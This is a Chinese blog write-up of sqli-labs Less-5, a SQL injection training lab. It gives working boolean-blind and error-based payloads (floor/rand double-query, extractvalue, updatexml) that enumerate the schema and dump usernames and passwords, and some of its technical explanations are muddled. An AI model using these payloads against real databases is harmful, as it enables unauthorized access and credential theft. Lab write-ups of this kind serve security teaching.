[网络安全]sqli-labs Less-5 解题详析

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 判断注入类型GET1' and '1'='1 回显如下

判断注入类型

GET1' and '1'='1 回显如下:

image.png

GET1' and '1'='2

image.png

没有回显,说明该漏洞类型为GET型单引号字符型注入


判断注入点个数

GET1' order by 3 --+,回显如下:

image.png

GET1' order by 4 --+,回显如下:

image.png

故注入点为3个

该题若查询结果正确,只返回you are in

若查询结果错误,无回显


查库名(爆破)

Payload:GET1' and left((select database()),1)='a'--+

使用子查询 select database(),该语句可以获取当前数据库名称,并返回该名称的字符串表达式;通过 left() 函数获取数据库名称的首个字符。


left函数

Left函数是一种字符串函数,可以从一个字符串的左侧开始返回指定数量的字符。它的语法如下:


LEFT(str, len)

1

其中,str 是要截取的字符串,len 是要返回的字符数。


例如,LEFT('Hello, world!', 5) 将返回 Hello,因为它只返回字符串的前5个字符


若1' and left((select database()),1)='a'--+查询成功,则回显you are in,即数据库名的首字母为a

因此可用此方法查询出完整的数据库名


抓包

抓该页面的数据表

选择狙击手攻击类型,对a添加payload位置

image.png

image.png

其它设置如下:

image.png由下图回显得数据库名首字母为s

image.png

接着,将首字母s添加到**§a§前,并将len改为2,重复上述步骤。

如下图,可确定数据库名第二个字母**为e

image.png

重复上述步骤,第九个字符查询不到数据,故最终解得数据库名仅八个字符,为security

image.png

查库名(双查询注入)

原理

攻击者在构造注入字符串时,将多条 SQL 查询语句用分号等符号分隔开来,从而让数据库服务器一次性执行多个查询,并返回所有查询的结果。


例如,以下示例代码存在双查询注入漏洞:


$sql = "SELECT * FROM users WHERE name = '{$_POST['name']}' AND password = '{$_POST['password']}'";


攻击者可以通过在 name 或 password 参数中插入恶意代码来执行多条 SQL 查询语句,例如:


name=abc'; SELECT * FROM information_schema.tables WHERE table_schema='database_name';--


这样就会让数据库服务器先执行原始查询语句,然后再执行 SELECT 查询语句,从而获取指定的数据库名称表格信息。


实例

1' union select 1, count(*), concat((select database()), floor(rand(0)*2)) a from information_schema.tables group by a  %23


代码解读:information_schema.tables 表中查询数据库名称,并向结果添加一个随机数。


查询结果包括以下三个字段:


   1:表示第一个查询语句的结果字段。


   COUNT(*):表示对信息模式(information_schema)表进行聚合后的行数。


   CONCAT((SELECT DATABASE()), FLOOR(RAND(0)*2)):表示使用 GROUP BY 限定之后得到的生成字符串,其中 CONCAT 函数用于连接两个字符串,并使用 FLOOR 和 RAND 函数生成一个随机数,从而使得查询结果与原始结果不同。

 


%23 是 URL 编码后的 # 符号,用于在 SQL 注入语句末尾添加注释符号,以防止后续查询出现语法错误。


注意:如果没有随机数,查询返回的结果会按照最后一个 SELECT 语句中的列顺序组成,这可能使得攻击者注入的数据容易被识别和过滤。

通过使用 FLOOR 和 RAND 函数生成一个随机数,攻击者可以控制查询结果的排序方式,使得注入的数据在结果中更难以被发现和识别。


回显如下,数据库名为security:



查库名(extractvalue函数)

原理

extractvalue 是一个在 XML 数据中提取值的 MySQL 内置函数。它的语法为:

EXTRACTVALUE(xml, xpath_expr)


其中 xml 是 XML 字符串,xpath_expr 是 XPath 表达式。


该函数会从 xml 参数中提取与 XPath 表达式匹配的节点值,并返回结果。如果找不到匹配的节点,则返回空字符串。如果 XPath 表达式匹配了多个节点,则只返回第一个匹配的节点的值。


例如,假设有以下 XML 数据:


<book>

 <title>MySQL Database Design and Tuning</title>

 <author>Robert D Schneider</author>

 <year>2005</year>

</book>

如果我们使用 extractvalue 函数提取 title 节点的值,可以这样写:


SELECT EXTRACTVALUE('<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year></book>', '//title');


执行结果为:


MySQL Database Design and Tuning


实例

1' and extractvalue(1,concat(1,database())) %23


'1' 表示在输入参数中添加一个条件,该条件与其他条件相互独立,用于生成一个新的查询结果。


AND 连接符用于将新的条件与原有查询语句进行逻辑上的连接。


extractvalue(1,concat(1,database())) 表示从 XML 数据中提取值,其中第一个参数为 1,表示要查询的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串,然后使用 extractvalue 函数从该字符串中提取值,并将其添加到查询结果中。如果数据库名称不为空,则返回该名称,否则返回空字符串。


回显库名security

image.png


查库名(updatexml函数)

原理

updatexml 函数是 MySQL 数据库中用于修改 XML 格式数据的一个内置函数。它的语法如下:


updatexml(xml_target, xpath_expr, new_val)


其中,xml_target 表示要进行修改的 XML 数据;xpath_expr 表示要修改的节点路径;new_val 表示要修改成的新值。


updatexml 函数的工作原理是将指定的 XML 数据解析为 DOM(文档对象模型) 文档树,并根据 xpath 表达式找到对应的节点,然后将该节点的内容替换为新值。如果节点不存在,则不进行任何操作。


实例

1' union select 1,2, (updatexml(1,concat(1,database()),1)) %23


UNION SELECT 1,2,(updatexml(1,concat(1,database()),1)) 表示使用 UNION 运算符将两个查询结果合并起来,同时将 updatexml 函数的结果添加到第二个 SELECT 查询中。


updatexml 函数用于修改 XML 数据中的内容,其中第一个参数为 1,表示要修改的 XML 数据,在这里没有实际作用;


第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串作为修改内容;

第三个参数为 1,表示将修改后的结果写入 XML 数据中。


%23 表示 URL 编码后的注释符号 #,用于在 SQL 注入语句末尾添加注释符号,以防止后续查询出现语法错误。


image.png


查表名(双查询注入)

1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

回显四个表名:

image.png

查表名(extractvalue函数)

1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'))) %23


回显四个表名:

image.png


查表名(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)) %23

image.png



查users表的列名(双查询注入)

1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

回显三个列名

image.png


查users表的列名(extractvalue函数)

1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security'))) %23

1

回显三个列名:

image.png

查users表的列名(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1)) %23




查字段(双查询注入)

1' union select 1, count(*), concat((select concat(username,':',password) from users  limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a  %23


在select concat()函数中使用:将查询到的username与password分隔开来

image.png

由上图,用户名为Dumb,密码为Dumb

将0改为1,2,3…即可,如下图:

image.png

image.png


查字段(extractvalue函数)

1' and extractvalue(1,concat(1,(select concat((select group_concat(username) from users), '~', (select group_concat(password) from users)) ) )) %23

由于extractvalue函数只能查询32位长度,导致结果缺失,改用limit查询

image.png

1' and extractvalue(1,concat(1,(select concat((select username from users limit 0,1), '~', (select password from users limit 0,1)) ) )) %23


由上图,用户名为Dumb,密码为Dumb

将0改为1,2,3…即可,如下图:

image.png

image.png


查字段(updatexml函数)

image.png

1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23

1

由上图,用户名为Dumb,密码为Dumb

将0改为1,2,3…即可,如下图:

image.png

image.png

image.png


总结

以上为[网络安全]sqli-labs Less-5 解题详析,后续将分享[网络安全]sqli-labs Less-6 解题详析

原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析

我是秋说,我们下次见。


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
4月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
67 0
|
4月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
62 0
|
4月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
46 0
|
4月前
|
网络安全
[网络安全]sqli-labs Less-25 解题详析
[网络安全]sqli-labs Less-25 解题详析
44 0
|
4月前
|
SQL 网络安全 数据安全/隐私保护
[网络安全]sqli-labs Less-24 解题详析
[网络安全]sqli-labs Less-24 解题详析
49 0
|
2天前
|
安全 网络安全 数据安全/隐私保护
数字堡垒之下:网络安全漏洞与信息安全的守护之路
在数字化浪潮中,网络安全成为保护个人隐私和企业数据的关键防线。本文将探讨网络漏洞的发现与利用,加密技术在信息保护中的作用,以及提升安全意识的重要性。我们将从基础概念出发,通过案例分析,深入了解网络攻防的动态平衡,并分享实用的安全策略,旨在为读者提供一条清晰的信息安全守护路径。
11 2
|
2天前
|
安全 算法 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【9月更文挑战第8天】本文将探讨网络安全与信息安全的重要性,以及如何保护个人和组织的信息资产。我们将讨论网络安全漏洞、加密技术、安全意识等方面的内容,并提供一些实用的建议和技巧来帮助读者提高他们的网络安全水平。无论你是个人用户还是企业管理员,都可以从本文中获得有关如何保护自己免受网络威胁的有用信息。
178 89
|
2天前
|
存储 监控 安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【9月更文挑战第9天】在数字化时代,网络安全和信息安全已成为我们生活的重要组成部分。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的知识和技巧来保护您的个人信息和数据安全。我们将通过深入浅出的方式,帮助您了解网络威胁的来源,如何利用加密技术保护自己的数据,以及如何提高自己的安全意识。无论您是个人用户还是企业,这些知识都将对您有所帮助。让我们一起来学习如何保护自己的网络安全吧!
|
2天前
|
安全 网络协议 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【9月更文挑战第9天】在数字时代,网络安全和信息安全成为了全球关注的焦点。本文将深入探讨网络安全漏洞、加密技术以及安全意识等方面的内容,帮助读者更好地了解这些概念,并提高自身的网络安全意识和技能。
|
1天前
|
SQL 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【9月更文挑战第9天】随着互联网的普及,网络安全问题日益严重。本文将介绍网络安全漏洞、加密技术以及安全意识等方面的内容,帮助读者了解网络安全的重要性,并提供一些实用的技巧和建议。
23 12